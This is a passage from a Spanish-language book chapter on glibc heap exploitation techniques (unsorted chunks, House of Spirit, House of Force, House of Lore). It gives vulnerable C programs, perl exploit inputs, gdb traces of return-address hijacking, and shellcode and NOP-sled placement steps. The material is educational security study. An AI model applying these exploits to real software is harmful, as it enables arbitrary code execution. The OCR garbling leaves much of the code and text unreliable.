if  ( _ builtin  expect  (size  <  MINSIZE,  0)) 
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errstr  =  "freeO  :  invalid  size'* 1 2 3 4 * * 7; 
goto  errout; 

} 

che.ck inuse chunk  (avf  p)  ; 


Lg  cual  no  nos  permite  estableeer  un  tamaflo  de  trozo  menor  que  1 6  bytes, 

9.3.1.  unsorted  chunksO 

Hasta  que  se  produce  la  llamada  a  maiioc  0 ,  la  tecnica  que  detallamos  a  conti nuac ion  es  exaetamente 
igual  que  la  descrita  en  la  section  anterior.  La  difereneia  eomienza  cuando  la  canlidad  de  bytes  que  se 
desean  reservar  con  dicha  llamada  es  superior  a  av->max_fast,  que  resulta  ser  el  tamano  del  segundo 
trozo  liber  ado, 

En  este  ultimo  caso  otro  trozo  de  codigo  puede  ser  desencadeuado  en  vias  de  lograr  sobrescribir  una 
position  arbitraria  de  memoria.  Reeordemos  que  unsort edjchunks  ()  devolvera  la  direecion  de  av- 

>bins [2] . 

Mostramos  el  fragmento  de  codigo  relevante: 

victim  =  unsorted  chunks ( av } ->bk 
bck  =  victim- >bk? 

unsorted_chunks (av) ->bk  =  bck; 
bck->fd  =  unsorted  chunks  (av) 


He  aqui  un  posible  metodo  de  explotacion: 

1)  Situar  en  &av->bins  [2]  +12  la  direecion  (&av->bins [2]  +16-12),  Entonces: 

victim  =  &av->bins [2] +4 ; 

2)  Situar  en  6av->bins  [2]+i6  la  direecion  de  RET  o  ETP  -  8.  Entonces: 

bck  =  ( &av->bins [2  ]  +  4 ) ~>bk  =  av->bins [2] +1 6  =  SEIF-8; 

3)  Situar  en  av->bins[2]  una  instruccion  jmp  oxyy  para  que  sake  al  me  nos  mis  lejos  que  &av- 
>bins  [2]  +20.  En  la  pen  ultima  instruccion  se  destrozara  sav->bins  [2]  +12,  pero  eso  ya  no  import  a,  en 
la  ultima  instruccidn  tendremos: 

bck->fd  =  EIP  —  &av">bins[2J; 

4)  Situar  el  conj unto  (nops  +  shellcode)  a  partir  de  &av->bins[0]  +20. 

Cuando  una  instruccion  ret  sea  ejecutada,  se  producira  nuestro  jmp  y  dste  eaera  directamente  sobre 

los  NOPS,  desplazandose  hasta  alcanzar  el  shellcode.  Observe  el  diseno  de  la  estructura  en  la  siguiente 
figura. 

La  imagen  i lustra  la  perfecta  combi nae ion  de  elementos  que,  de  forma  miiinietriea,  conducen  a  la 
sobrescritura  de  una  direecion  de  retomo  guardada  con  la  direecion  de  la  segunda  entrada  del  array 
bins  [ j ,  donde  una  instruccion  de  salto  intenta  redirigir  el  flujo  hacia  un  shellcode  situado  a  una 
distancia  controlada  y  precedida  de  un  colchon  de  instrucciones  NOP. 
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Imagen  09.04:  Diagraroa  de  la  tecnica  urm>Tted_chunks(). 

La  enorme  ventaja  de  este  metodo  es  que  logramos  una  ejecucion  directa  de  codigo  arbitrario  en  vez 
de  obtener  de  malice  0  un  bloque  control  ado. 


Cl}  btk  *  (8tov->bins(2]44)ol>i( 

(2)  tras  la  ejecucion  fe  una  lnstiuccldn  ret 


tovotiimqj  ] 


S^v-ltiimlll+12  iav  ■  2 1+36 


9.4.  The  House  of  Spirit 

The  House  of  Spirit  constituye  una  de  las  tecnicas  mas  sencillas  de  aplicar  siempre  que  las 
circunstancias  scan  las  adecuadas.  El  objetivo  principal  es  sobrescribir  un  puntero  que  previamente 
haya  sido  reservado con  una  llamada  a maiioc  ( )  de  mode  que  cuando  este  se  I i here mediante  freed  , 
una  direction  arbitraria  quedara  almacenada  en  un  fastbin[] . 

Esto  puede  traer  con  si  go  que,  en  una  futura  llamada  a  malice  () ,  este  valor  almaeenado  sea  tornado 
como  la  nueva  memoria  asignada  para  el  bloque  solicitado.  Veamos  un  programa  vulnerable: 

#include  <stdio.h> 

#include  <string.h> 

# include  <stdlib.h> 

void  fvuln(char  *strlf  int  age) 

t 

static  char  *ptrl,  nortibre  [32]  ; 
int  edad; 
char  *ptr2; 

edad  =  age; 

ptrl  =  {char  *)  malloc(256); 
printf  (,f\nPTRl  =  [  %p  ]  ",  ptrl); 
strepy (nombre,  strl}; 
printf  {"\nPTRl  =  [  %p  ]\nTI ,  ptrl); 
free {ptrl ) ; 

ptr2  =  (char  *)  malloc(40); 

snprintf  (ptr2  T  40-1,  "%s  tienes  %dn  t  nombre,  edad); 

printf  (Tl\nls\n",  ptr2) ; 

) 

int  main {int  arge,  char  *argv[]) 

{ 

if  {  arge  ==  3  ) 

fvuln (argv [1] ,  atoi (argv [2] )  )  ; 
return  0; 

} 
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Es  facil  demoslrar  que  la  funcion  strcpy  ( )  nos  permite  sobrescribir  el  puntero  ptri. 

blackngel  @bbc :  */hos  'perl  -e  Tprint  ,tAt,x32  .  MBBBBr!  T  '  20 

PTRI  -  [  0x80c2 68 8  ] 

PTRI  -  1  0x42424242  ] 

Fallo  de  segmentacidn 


Temendo  esto  en  cuenta,  ya  podemos  modificar  la  direccion  del  trozo  a  nuestro  antojo,  pero  no  todas 
las  direcciones  son  validas,  Recuerdc  que  para  ejecutar  el  codigo  fas  thin  descrito  en  The  House  of 
Prime,  el  lamano  del  trozo  falseado  debe  ser  menor  que  av->max_fast,  y  mas  especificamente,  igual 
al  tamano  solicitado  en  la  futura  liamada  a  maiioc  { )  mas  8. 

Dado  que  uno  de  los  parametros  del  programs  es  la  edad,  podemos  poner  en  la  pi  la  nuestro  valor 
entero,  que  en  esie  ease  sera  48  (0x3  0),  y  buscar  su  direccion. 

■(gdb)  x/4x  $ebp-4 

Oxbf f f f 314 :  0x00000030  Qxbffff338  0x080 4 SZed  0xbffff7Q2 


En  nuestro  caso  vemos  que  el  valor  esta  justo  detras  de  EBP,  y  tenemos  que  hacer  que  pt  ri  apiinte  a 
EBP.  Observe  que  estamos  modificando  el  puntero  a  la  memoriay  no  la  direccion  del  trozo  o  cabecera 
que  se  encuentra  8  bytes  mas  atras. 

Debemos  superar  antes  de  nada  el  siguiente  condicional: 

if  (chunk_at_of f set  (p,  size)“>size  <=  2  '*  SIZE_SZ 

I  I  _ builtin_expect  (chunksize  (chnnk_at_of f set  (p,  size) ) 

>=  av->system mem,  0) ) 


En  Sebp  -4  +  48  debemos  tener  un  valor  que  cumpla  las  anteriores  condiciones,  En  otro  easo  el 
exploiter  deberia  buscar  otras  posiciones  de  memoria  que  le  permitan  controlar  ambos  valores. 

(gdb)  x/4x  $ebp-4+48 

Oxbf fff 344 :  0x000 001 2c  0xbffff568  0x080484eb  0x00000003 


La  siguiente  ilustracion  representa  un  esquema  de  lo  que  sucede. 


otejetivo 


(objEetivo)  Valor  a  sobrescribir. 

(wm)  Ion*  ds  dates  del  trozo  falso. 

(vilr)  TAtfAf^a  ifc-1  troro  fal«, 

(val2)  tanafa  del  slBUrlenie  trozo. 


Fmagen  09.05:  Diagrama  de  3a  tecnica  The  House  of  Spirit. 
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Si  esto  ocurre,  el  control  estara  en  nuestras  manos: 


tala-ckngel@bbc: *"$■  gdb  -q  ./has 
(gdb)  disass  fvuln 


Dump  of  as 
0x080481 f 0 
0x080481 f 1 
0x08048 1 f 3 
0x0804  8  If 6 
0x080  4  8 1 f 9 
Gx080481fc 
0x080 48203 


sembler  code  for 
<fvuln+0>:  push 
<fvuln+l>:  mov 
<fvuln+3>:  sub 
<fvuln+6>:  mov 
<fvuln+9>:  mov 
<fvuln+12> : movl 
<fvuln+19> :  cal  1 


function  fvuln: 

%ebp 

%esp,  %ebp 
$0x28, %esp 
Oxc (%ebp) , %eax 
%eax, -0x4 (%ebp) 
$0x100, (%esp) 
0x804f440  <malloc> 


0x08048230  <fvuln+64> : call 


0x80507a0  <strcpy> 


0x08048252 
0x08048257 
0x0804  825a 


<fvuln+98> : call 
<f vuln+l03> : 
<fyuln+110>: 


0x804da50  <free> 

movl  $0x28, (fee ap) 

call  Gx8Q4f440  <malloc> 


0x080482a3  <fvuin+179>: 
0x080 4 82a4  <fvuln+180>: 

End  of  assembler  dump . 

(gdb)  break  *£v\iln+19 
Breakpoint  1  at  0x8048203 
(gdb)  run  "perl  -e  'print  *' 


leave 

ret 

/*  Antes  de  malice ()  */ 

"  x32  *  ,T\xl8\xf3\xff\xbf" 1  '  48 


Breakpoint  1,  0x08048203  in  fvuln  () 

(gdb)  x/4x  $ebp-4  /*  0x30  —  48  */ 

Oxbf fff 314 :  0x00000030  Oxbf fff 338  0x080482ed  0xbffff702 

(gdb)  x/4x  $ebp-4  +  48  /*  8  <  0x12c  <  av->system_mem  */ 

Oxbf fff 344 :  0x0000012c  0xbffff568  0x080484eb  0x00000003 

(gdb)  C 
Continuing . 

PTR1  =  [  0x80c2 688  ] 

PTRI  =  [  Oxbff f f3l8  ] 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Program  received  signal  SIGSEGV,  Segmentation  fault. 

0x41414141  in  ??  [) 


En  esie  caso  precise,  la  direceidn  de  EBP  pasarla  a  ser  la  direction  de  la  zona  de  datos  para  ptr2,  lo 
cua!  quiere  decir  que  a  partir  del  cuarto  caraeter,  EIP  comenzara  a  ser  sobrescrito,  abriendo  la 
posibilidad  de  modificar  la  direceion  de  rclomo  guard  ad  a  a  discrecion  de  un  ataeante  malic  io  so. 


9.5.  The  House  of  Force 

El  trozo  wilderness  es  tratado  de  forma  especial  por  las  fund  ones  free  ( )  y  malice  ()  ?  y  en  la  pre sente 
seccion  sera  el  desencadenante  de  una  posible  ejecucion  de  codigo  arbitrario.  El  objetivo  de  la  teen  tea 
The  House  of  Force  radica  en  alcanzar  la  siguiente  porciort  de  codigo  en int  malice  ( ) : 


use_top ; 

victim  -  av->top ; 

size  —  chunk-size  (victim)  ; 

if  (  (unsigned  long)  (size)  >=  (unsigned  long)  (nb  +  MINSI2E) )  ( 

remainder  size  =  size  -  nb; 
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remainder  ~  chunk_at_off set (victim,  nb) ; 

av->top  =  remainder; 

set_head (victim,  nb  |  ?REV_INUSE  | 

(av  ! =  Smain_arena  ?  NON MAIN _ ARENA  :  0)  )  ; 
set_head (remainder,  remainder_size  |  PREV  INUSE); 
check_malloced_chunk (av,  victim,  nb)  ; 
return  chunk2mem (victim) ; 

} 


Son  necesarios  ires  requisites: 

Un  overflow  en  un  Irozo  quo  permita  sobrescribir  el  wilderness . 

-  Una  llamada  a  malloc ( }  con  el  tamafio  definido  por  el  usuario. 

-  Olra  llamada  a  mai  loc  ( )  cuyos  datos  puedan  ser  manejados  por  el  usuario. 

El  objetivo  final  es  conseguir  obtener  un  trozo  posicionado  en  un  lugar  arbitrario  dc  la  memoria,  Esta 
posieion  sera  la  obtenida  por  la  ultima  llamada  a  malice  ( ) ,  pero  antes  deben  tenerse  en  euenta  algunos 
detalles  extra.  Veamos  en  primer  lugar  un  posible  programa  vulnerable: 

linclude  <stdio.h> 

^include  <string.h> 
iinclude  <stdlib.h> 

void  fvuln (unsigned  long  len,  char  *str) 

{ 

char  *ptrl,  *ptr2,  *ptr3; 
ptrl  =  malice (256) ; 

printf  ( ,T\nPTRl  =  [  £p  ]\n",  ptrl)  ; 
strepy (ptrl ,  str)  ; 

print  f  (,T  \nReservando  :  %u  bytes”,  len); 
ptr2  =  malloc (len) ; 
ptr3  =  malloc (256) ; 

strnepy  (ptr3,  “’AAAAAAAAAAAAAAAAAAAAAAAAAAAAA” ,  256)  ; 

} 

int  main(int  arge,  char  *argy[]) 

( 

char  *pEnd; 
if  (  arge  =  3  ) 

fvuln (strtoull (argv [ 1] ,  SpEnd,  10),  argv[2]); 
return  0; 

) 


Lo  primero  que  el  atacante  debe  lograr  es  sobrescribir  el  campo  size  del  trozo  wilderness  de  modo 
que  contenga  un  valor  lo  mas  alto  posible,  algo  eomo  oxfff  fffff.  Ya  que  nuestro  primer  trozo  ocupa 
256  bytes,  y  es  vulnerable  a  un  overflow,  264  caracteres  \xf  f  lograran  el  objetivo.  Posteriormente 
cualquier  solicitud  de  memoria  lo  suficientemente  grande,  sera  tratada  en  _intjmailoc()  sin 
necesidad  de  expandir  el  heap. 

El  segundo  objetivo  trata  de  alter ar  uv->top  de  modo  que  apunte  a  una  zona  de  memoria  que  este  bajo 
el  control  del  atacante,  Para  el  desarrollo  del  ejemplo  tendremos  como  objetivo  el  stack  y  una  direccion 
de  retomo  guardada  en  un  marco  de  functon.  Por  lo  tanto,  la  direccion  que  debe  ser  escrita  en  av->top 
es  &eip  -  8.  ^Como  alterar  av->top? 
victim  =  av->top; 

remainder  =  chunk_at_offset (victim,  nb) ; 
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av->top  -  remainder; 


victim  recoge  el  valor  de  la  direccion  del  trozo  wilderness  actual,  que  en  un  caso  normal,  teniendo  en 
euenta  donde  esta  ptri,  se  vena  asi: 

PTRl  =  [  0x80 c2 688  ] 

0x80bf550  <main_arena+ 48> :  Qx080c2788 

Y  como  podemos  ver,  remainder  es  exactamente  la  suma  do  esta  direccion  mas  la  can ti dad  de  bytes 
solicitudes  por  maiiocO,  cantidad  que  debe  ser  controlada  por  el  usuario  como  se  ha  dicho 
anteriormente.  Entonces,  si  EIP  se  encuentra  en  Gxbffff22c,  la  direccion  que  deseamos  colocar  en 
remainder  (que  ira  directa  a  av->top),  es  en  realidad  esta:  Gxbf ffff24,  y  ya  que  conocemos  donde 
esta  av">top,  nuestra  cantidad  de  bytes  a  solicitar  sera  la  siguiente: 

Oxbf fff 224  -  0x080c2788  =  3086207644 

Utilizaremos  el  valor  entero  3086207636  con  motivo  de  la  diferencia  entre  la  posicion  de  la  cabecera 
y  la  zona  de  dates  del  trozo  wilderness .  Desde  ese  momento,  av->top  contendra  nuestro  valor  alterado, 
y  cualquier  solicitud  futura  obtendra  esta  direccion  como  su  zona  de  dates. 

Todo  lo  que  se  eseriba  en  el  nuevo  bloque  asignado  destrozara  la  pila.  GL1BC  2.7  hace  lo  siguiente: 

void  *p  =  chunk2mem [victim) ; 

if  ( _ built in_expect  (perturb_byte,  0) ) 

alloc_perturb  (pr  bytes) ; 
return  p; 


Veamoslo  en  aecion: 

blackngelObbc: g-db  -q  . /hof 
(gdb)  disass  fvuln 

Dump  of  assembler  code  for  function  fvuln: 


0x080481f0 

<fvuln+Q>: 

push 

%ebp 

0x0804  8 1 f 1 

<fvuln+l>: 

mov 

%esp,  %ebp 

0x080  4  Slf 3 

<fvuln+3>: 

sub 

$0x2  8 , %esp 

0x080  4  81 f  6 

<fvuln+6>: 

movi 

$0x100, (%esp) 

0x08048 1 fd 

<fvuln+13> : 

call 

0x8  0  4d3b0 

email oc> 

0x08048225 

<f vuln+53> : 

call 

0x804e7l0 

<Strcpy> 

0x08048243 

<fvuln+83>: 

call 

0x80  4d3b0 

<malloc> 

0x08048248 

<fvuln+8.8> : 

mov 

%eax, ^0x8 (%ebp) 

Ox 0804824b 

<fvuln+91> : 

movl 

$0x100, (%esp) 

0x08048252 

<fvuln+98> : 

call 

0x80  4d3b0 

Cmalloo 

0x08048270 

<#vuln+12B>: 

call 

0x304e7f0 

<strncpy> 

0x08048275 

<fvuln+133>: 

leave 

0x08048276 

<fvuln+134> : 

ret 

End  of  assembler  dump. 

(gdb)  break  *fvuln+S3  /*  Antes  de  malloc(len)  */ 

Breakpoint  1  at  0x8048243 

(gdb)  break  *fvuln+88  /*  Despues  de  malloc(len)  */ 

Breakpoint  2  at  0x8048248 

(gdb)  run  3086207636  'perl  -e  'print  ,T \xf  f  "x2 64 f  v 
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PTRl  =  [  0x80c2  688  ] 
Breakpoint  1,  0x08048243  in 
(gdb)  x/16x  &main  arena 

fvuln  ( ) 

0x8 0b f 550  <mai n_arena+48> : 

0x080c2  7  88 

1 

0x00000000 

0x0  8  Obf 5  5  0 

0x0  8  Obf 550 

(gdb)  c 

Continuing, 

1 

av->top 

Breakpoint  2,  0x08048248  in 
(gdb)  x/16x  &main  arena 

fvuln  () 

0x80bf550  <main_arena+48>: 

Oxbf f f f 22  0 

0x00000000 

0x080bf 550 

0x080b£550 

I 

Apunta  al  stack 


(gdb)  x/4x 
Oxbf f f f 22  0 : 

$ebp-8 

0x00000000 

0x4  8  0c3  5  61 

i 

Oxbf f f f258 

0x0  8  0482cd 

( gdb )  c 
Continuing . 

1 

import ante 

Program  received  signal  SIGSEGV,  Segmentation  fault* 

0x41414141  in  ??  () 

(gdb) 

Hemes  scnalado  un  valor  como  “importante”  en  el  stack,  y  es  que  una  de  las  ultimas  condiciones  para 
una  ejecu cion  exitosa  de  la  tecnica,  requiere  que  el  campo  size  del  nuevo  trozo  wilderness  falseado 
sea  al  mends  mas  grande  que  la  solicitud  realizada  por  La  ultima  llamada  a  maiioc{) . 


9.6.  The  House  of  Lore 

The  House  of  Lore  ha  sido  una  de  las  tecnicas  de  explotacion  mas  recientes  disenada  para  vulnerar  la 
libreria  rnalloc  de  DougLea.  En  las  siguientes  secciones  realizaremos  un  analisis  pormenorizado  que 
traera  a  la  luz  los  principios  elemental  es  del  problems  y  la  solucion  planteada  para  atacar  una 
aplicacion  vulnerable. 

9.6.1.  Heap  Debugging 

Con  el  objetivo  de  realizar  un  estudio  en  pro  fund  idad  de  la  tecnica  The  House  of  Lore*  que  poeo  a 
poco  iremos  ampliando,  introduciremos  algunos  ligeros  cambios  en  la  libreria  Ptrnalloe2  e 
indicareinos  como  utilizarla  en  nuestros  programas  vulnerables  sin  necesidad  de  recompilar  la  libreria 
original  de  GNU  (glibc). 

El  primer  paso  consists  en  descargar  los  flcheros  fuenles  de  ptmalloc  desde  la  pagina  oficial  en  la 
direction  http://www.malloc.de/maiioc/ptmalloc2-currentJar.gz.  Luego  solo  haee  falla  seguir  unas 
sencillas  pautas:  descomprimir  el  paquete,  invocar  el  eomando  make  y  compilar  el  programa  deseado 
junto  con  el  lie  hero  con  extension  *a  reden  generado. 

En  3  a  siguiente  imagen  se  mueslra  el  proceso  cornpleto. 
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i  13  16:05  jt^allocS-turrent  *  tar  »<jz 

nt,tar,gz  >  /dev/null 


Id:  13  Ubrwlloc.a 


diatkngel^bbc  ~ 

blackrTgel^bbt:  ~$  Is  -al  ptnallec2- current [Jtar.gz 

blackngel  blackngel  78594  jim  13  16: OS 


-  rw  ’  m 

bl ackn 
blackn 
blackn 
arena. 


m  -xvzf  ptnalloc2-cur| 
alloc2/ 
c2$  Is 


ChangeLog  lran2.h 
COPYRIGHT  Makefile 


OME  tst-mstats.c 

sysdeps  t-testl.c 

nalloc  -  stats  .c  tst-nallogstate.c  t-test2>c 
blackr>gel@bbc:~/ptnatloc2$  Rake  linux-pthread  >  /dev/null  2>  /dev/null 
blackngel@bbc:-/ptPjalloc2$  Is  -al  libnallog.a 
- rw-rw- r - ■  1  blackngel  blackngel  98370  dun  13 
blackngel^bbc :^/ptRalloc2$  cp  libnalloc.d  .  ./ 
blackngel@bbc:~/ptrialloc2$  cd  ,, 


blackngel@bbc:' 

blackngel@bbc:^ 


icc  vuln.c  libnalloc.a  -0  vuln 


Tmagen  09.06:  Compilation  do  la  libreria  PtmaJloc. 


No  obstante,  antes  de  lanzamos  de  eabeza  a  corapilar  la  libreria,  nos  hemos  permitido  el  lujo  de 
personalizarla  introduciendo  an  par  de  sentencias  de  depuracion.  El  objetivo  es  obtener  cierta 
information  en  tiernpo  de  ejecucion  que  nos  pueda  ser  de  utilidad  durante  el  analysis. 

Los  cambios  estan  constituidos  por  algunas  llamadas  del  estilo  “print f  (M\n [ptmalloc2]  . . con 
datos  relevantes  sobre  Ids  trozos  reservrados  o  liberados.  M  os  tram  os  a  continuation  los  fragmentos  de 
codigo  alterados  en  el  fiehero  mailoc.  c. 


Void t* 

_int_maIloc  {instate  av,  size  t  bytes) 

{ 


checked_request2size (bytes ,  nb) ; 

if  { (unsigned  long) (nb>  <=  (unsigned  long) ( av->max_f ast) )  { 

} 

if  (in__sfflallbi-n_range  (nb) )  f 
idx  =  smallbin_index (nb) 
bin  =  bin_at (avf idx) ; 
if  (  (victim  =  last (bin))  1=  bin)  { 
print f  £  M  \  n  [ PTMALLOC2 ]  ->  (Codigo  -smallbin-  alcanzado)  ,T)  ; 
print  f  (T,\n[PTMALLOC2j  ->  (victim  =  [  %p  ])",  victim); 
if  (victim  ==  0)  /*  initialization  check  */ 
malloc_consolidate (av) ; 
else  ( 

bck  =  victim- >bk; 

printf  ("\ntPTMALLOC2]  ->  (victim->bk  =  [  %p  J)\n,T,  bck); 
set  inuae_bit_at_off set (victim,  nb)  ; 
bin->bk  =  bck; 
bck->fd  =  bin; 
if  (av  J  =  &main_arena) 
victim->si ze  |=  NON_MAIH_ARENA; 

check_malloced_chunk (av,  victim,  nb)  ; 
return  chunk2mem (victim) ; 

1 
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De  esta  forma  podretnos  saber  cuando  un  trozo  es  extra!  do  de  su  bin  correspondiente  para  satis  facer 
una  solicited  de  memoria  del  lamano  adecuado.  Ademas  podemos  controlar  el  valor  que  toma  el 
puntero  bk  de  un  trozo  en  caso  de  que  haya  sido  previamente  manipulado. 

use_top i 

victim  =  av->top; 

size  =  chunksize  (victim)  ; 

if  ( (unsigned  long) (size)  >=  (unsigned  long) (nb  +  MINSIZE) )  { 

printf ("\n [PTMALL0C2]  (Trozo  obtenido  del  Wilderness)"}; 

return  chunk2merti (victim)  ; 

}  


Proporcionamos  una  alerta  que  nos  avise  cuando  una  solicitud  de  memoria  sea  servida  desde  el 
wilderness. 

La  siguiente  modificacion  se  insertara  dentro  de  la  fund  on  _int_f  ree  ( ) . 

bck  =  unsorted_chunks (av) ; 

fwd  =  bck^>fd; 

p->bk  =  bck; 

p~>fd  =  fwd; 

bck->fd  =  p; 

fwd->bk  =  p; 

printf (M\n[PTMALLQC2]  ->  (Liberado  y  unsorted  [  %p  1)",  p) ; 

Nos  alerta  cuando  un  trozo  ha  sido  liberado  e  introducido  en  el  unsorted  bin  para  un  futuro 
aprovechamiento  del  mismo. 

9.6.2.  Corrupcion  SmallBin 

El  siguiente  fragmento  de  codigo  es  el  que  desencadenara  la  vulnerabilidad  descrita  en  el  titulo  de  esta 
sec  cion.  _ _ 

if  (in  smallbin  range (nb)}  { 

idx  =  smallbin_index (nb) ; 
bin  =  bin_at (av, idx) ; 
if  (  (victim  =  last (bin) )  !=  bin)  { 

if  (victim  --  0)  /*  initialization  check  */ 

malloc_consolidate (av) ; 
else  { 

bck  —  victim->bk; 

set_inuse_bit_at_of f set (victim,  nb) ; 
bin->bk  =  bck; 
bck->fd  =  bin; 
if  (av  1=  Smain  arena) 
victim->size  I—  NON_MAIN_AREWA; 

check_malloced_chunk (av,  victim,  nb)  ; 
return  chunk2mem (victim) ; 

1  


Para  alcanzar  esta  zona  del  codigo  dentro  de  int  maiioc  ( ) ,  la  solicitud  de  memoria  efectuada  debera 
ser  superior  al  valor  actual  de  av-> max_fast,  recordemos  que  este  valor  es  por  defecto  72.  Luego, 
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in  smaiibin  r^nge  [nt>)  comprueba  que  el  trozo  de  memoria  solicitada  sea  inferior  a 
min_large_sizf.  que  es  definido  en  maiioc.c  como  512  bytes. 

Sabemos  por  la  documentacion  que:  “los  bins  para  tamanos  inferiores  a  5 1 2  bytes  conlienen  siempre 
trozos  del  mismo  tamano”  Con  esto  sabemos  que  si  un  trozo  de  eierto  tamano  ha  sido  introducido  en 
su  bin  correspond!  ente,  una  solicitud  de  ese  mismo  tamano  eneontrara  dicho  bin  y  retomara  el  trozo 
previamente  almacenado.  Las  funeioncs  smaiibin  indsx(nb)  y  bin  at  Uvr  idx)  se  encargan  de 
encontrar  el  bin  adecuado  para  el  trozo  solicitado. 

Recordemos  de  otras  seceiones  que  un  bin  no  es  mas  que  un  par  de  punteros  f  d  y  bk  que  sirven  para 
cerrar  la  lista  doblemente  enlazada  de  trozos  libres.  La  macro  last  (bin)  simplemente  devuelve  el 
puntero  bk  de  este  falso  trozo  Indicando  a  su  vez  el  ultimo  trozo  que  se  encuentre  presente  en  el  bin 
(si  es  que  lo  hay).  En  easo  contrario,  el  puntero  bk  del  bin  estaria  apuntandose  a  si  mismo,  failaria  la 
comprobacion  y  saldriamos  directamente  del  smallbin  code. 

Si  existe  un  trozo  disponible  del  tamano  adecuado,  el  proceso  es  simple,  antes  de  entregarselo  al 
usuario  este  debe  ser  desen  lazado  de  la  lista,  y  para  ello  se  utilizan  las  siguientes  instrucciones: 

bck  =  victim^ >bk;  bck  apunta.  al  penultimo  trozo, 

bin~>bk  =  bck;  bck  se  convierte  en  el  ultimo  trozo. 

bck->fd  =  bin;  -•  Se  vuelve  a  cerrar  la  lista. 

Si  todo  ha  ido  bien  se  le  entrega  al  usuario  el  puntero  *mem  perteneciente  a  victim  mediante  la  macro 
chun  k2mem  (victim} .  Las  unicas  tareas  extras  en  este  proceso  son  Las  de  setear  el  bit  prev  imuse  del 
trozo  siguiente  al  que  va  a  ser  resenado  y  gestionar  el  bit  nom  hain  arena  si  es  que  victim  no  se 
encontrase  en  la  arena  principal  por  defecto. 

Ahora  comenzaremos  a  pensar  del  modo  en  que  lo  haria  un  atacante.  El  unico  valor  que  alguien  podria 
controlar  en  todo  este  proceso  es  obviamente  el  valor  de  victim->bk.  Pero  para  que  esto  sea  asi,  una 
condicion  vulnerable  debe  ser  cumplida:  que  dos  buffers  hayan  sido  reservados,  que  el  segundo  haya 
sido  liberado  y  que  el  primero  sea  susceptible  a  un  desbordamiento. 

Caso  de  cumplirse,  el  desbordamiento  del  primer  trozo  permitira  manipular  la  cabeeera  del  segundo 
trozo  ya  liberado,  incluyendo  el  puntero  bk.  Recuerde  siempre  que  el  desbordamiento  debera 
producirse  despues  de  que  el  segundo  buffer  haya  sido  liberado. 

Si  este  segundo  trozo  manipuiado  es  introducido  en  su  bin  correspondiente,  y  una  nueva  solicitud  del 
mismo  tamafio  es  efectuada,  el  smallbin  code  sera  desene adenado  y  por  lo  tanto  liegamos  a  la  parte 
que  nos  interesa*  El  puntero  bk  alterado  de  victim  sera  colocado  en  bck  y  este  a  su  vez  se  transformara 
en  el  ultimo  trozo.  Una  subsiguiente  llamad a  a  maiioc  ( }  con  el  mismo  tamaflo  podria  entregamos  un 
trozo  en  la  position  de  memoria  con  la  que  el  atacante  hubiese  alterado  el  puntero  bk.  Esta  podria  ser 
la  pi  la,  una  entrada  en  la  GOT,  o  cualquier  otra  zona  susceptible  de  ser  modificada  en  beneficio  propio. 

Todavia  hay  mas.  Cuando  un  trozo  es  liberado,  este  es  introducido  en  una  especie  de  bin  especial 
conocido  como  unsorted  bin ,  Tiene  la  partieularidad  de  que  los  trozos  no  son  ordenados  segiin  cl 
tamano  de  los  mismos.  Podriamos  asemejar  dicho  bin  con  un  stack,  puesto  que  los  trozos  son 
introducidos  en  el  mismo  a  medida  que  se  van  iiberando.  La  intencion  es  que  una  siguiente  llamada  a 
mall oc  o ,  calloc  ( )  o  realloc  ( )  pueda  hacer  uso  de  este  trozo  directamente  si  el  tamano  del  mismo 
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puede  cumplir  la  petidon  del  usuario,  Se  consigue  asf  mejorar  la  eficieneia  en  el  proceso  de  reserva 
de  memoria  y  cada  Irozo  introducido  en  el  unsorted  bin  tiene  su  oportunidad  de  ser  reutil izado  de 
forma  inmediata  sin  pasar  por  el  proceso  de  ordenamiento. 

Dado  que  alterar  un  trozo  ubicado  en  el  unsorted  bin  no  es  interesante  para  nuestro  ataque,  el  programs 
vulnerable  dcberia  llamar  a  malice  o  entre  la  funcion  de  eopia  vulnerable  y  la  subsiguiente  Uamada  a 
malice  ( }  solicitando  el  mismo  tamano  que  el  trozo  liberado.  Ademas,  esta  llamada  debe  solicitor  un 
tamano  mas  grande  que  el  liberado  con  el  fin  de  que  la  sollcitud  no  pueda  ser  servida  a  partir  de  la  lista 
de  unsorted  chunks  y  esta  proeeda  a  ordenar  todos  sus  trozos  en  los  bins  respectivos, 

Debemos  advertir  que  en  una  aplieacion  de  La  vida  real  un  bin  podria  contener  varios  trozos 
almaeenados  espcrando  a  ser  us  ados,  Cuando  un  trozo  llega  del  unsorted  bin ,  es  introducido  en  su  bin 
adecuado  como  el  primero  de  el  los,  y  segun  nuestra  teoria,  el  trozo  alterado  no  sera  usado  hasta  que 
ocupe  la  ultima  posicion.  Si  este  fucra  el  caso,  varias  llamadas  a  maiio.c  0  con  el  mismo  tamano 
deberian  ser  realizadas  hasta  que  nuestro  trozo  alterado  alcance  la  posicion  deseada  en  la  lista  circular, 
momento  que  el  ataeante  aprovechara  para  manipular  el  puntero  bk.  Estudiemos  el  proceso  por  fases 
en  la  siguiente  ilustracion. 


Imagen  09.07  :  Proceso  de  explot acion  en  la  tecnica  The  House  of  Lore,  (Fases  1  y  2). 


Caphulo  IX.  Heap  (Tver flows :  Exploits  avanzados 
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Imagen  09.08:  Proceso  de  explotacion  en  la  tecnica  The  House  of  Lore.  (Fases  3  y  4), 


Una  vez  finalizado  e!  proceso,  el  puntero  *mem  sera  devuelto  al  usuario  apuntando  a  una  direccion  en 
la  pila  y  por  lo  tanlo  otorgando  el  control  total  del  sistema  si  podemos  sobrescribir  una  direccion  de 
retomo  guardada. 

Despues  de  haber  analizado  la  teoria  con  gran  detenimiento,  presentamos  un  posible  programa 
vulnerable  con  el  quo  demostraremos  la  viabilidad  de  la  tecnica  The  House  of  Lore. 

# include  <s-tdio.h> 

#include  <string.h> 
void  evil_func (void) 

{ 

print f ("XnEata  es  una  funcion  meliciosa.  Puedes  ser  un  super-hacker  \ 
si  logrus  ej  ecutarla  •  \nTI )  ; 

) 

void  fund  (void) 

{ 

char  *lbl,  *lb2; 

lbl  —  (char  *)  malice (128) ; 
printf ( ”LB1  ->  [  %p  ]",  Ibl) ; 
lb2  =  (char  * )  malice ( 12 8 } ; 
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printf  (,T\nLB2  ~>  [  %p  ]  " ,  lb 2) ; 
strcpydbl,  "Cual  es  tu  aficion  favorita?:  ") ; 
printf  rT\n%s"  ,  Ibl )  ; 
fgets(lb2,  126,  stdirO  ; 

} 

int  mainfint  argc,  char  *argv[]) 

{ 

char  *buffl,  *buff2,  *buff3; 
malloc (4056) ; 

buffi  —  (char  *)  malloc (16); 
